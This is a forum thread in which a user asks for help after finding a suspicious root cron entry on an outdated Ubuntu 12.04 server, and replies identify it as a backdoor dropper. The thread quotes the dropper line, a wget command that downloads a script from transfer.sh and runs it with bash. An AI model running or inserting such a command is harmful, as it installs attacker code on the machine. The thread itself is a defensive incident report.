Results 1 to 4 of 4

Thread: Suspicious scripts in root cronjob

  1. #1
    Join Date
    Jul 2018
    Beans
    1

    Suspicious scripts in root cronjob

    I set up a new virtual server a couple of days ago. I installed some open source software on it from a reputable company. I was running 12.04 (64 bit), since that's the supported OS the software ran on. I updated the base installation with the most recent packages using upgrade and dist-upgrade.

    Today, I was setting up cron as root to run some tasks, and I saw some very suspicious code I was not familiar with, which loaded a script from https://transfer.sh.

    Specifically, this was one line of code in the cron job:

    Code:
    wget -O .cmd https://transfer.sh/ioAzh/tmp.Ker9jozIal && bash .cmd
    It looks like an attempt to gather data from my server, but I'm not quite sure what specifically.

    I've shut the server down now, but I'd still like to run this software. It uses Python and runs a hosted webserver.

    How can I figure out what led to this situation? Any insight on what they were attempting to take? How do I ensure this doesn't happen again in the future?

  2. #2
    Join Date
    Mar 2010
    Location
    Squidbilly-Land
    Beans
    Hidden!
    Distro
    Ubuntu

    Re: Suspicious scripts in root cronjob

    Support for 12.04 ended about 18 months ago. Forum policy says unsupported OSes are off topic here.

    Move to 16.04 or 18.04.
    If you have paid Canonical for extended support for 12.04, please contact them. If you don't have paid support, there isn't anything anyone can do to help except to say never enable any networking on that machine.

  3. #3
    Join Date
    Jun 2018
    Beans
    Hidden!

    Re: Suspicious scripts in root cronjob

    Hi,

    It seems to be a backdoor dropper (it installs this file). Indeed, the fact that you're running a no longer supported version of Ubuntu is very likely the cause of this intrusion.

  4. #4
    Join Date
    Jun 2018
    Beans
    Hidden!

    Re: Suspicious scripts in root cronjob

    Last edited by mohicann; July 22nd, 2018 at 07:01 PM.

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •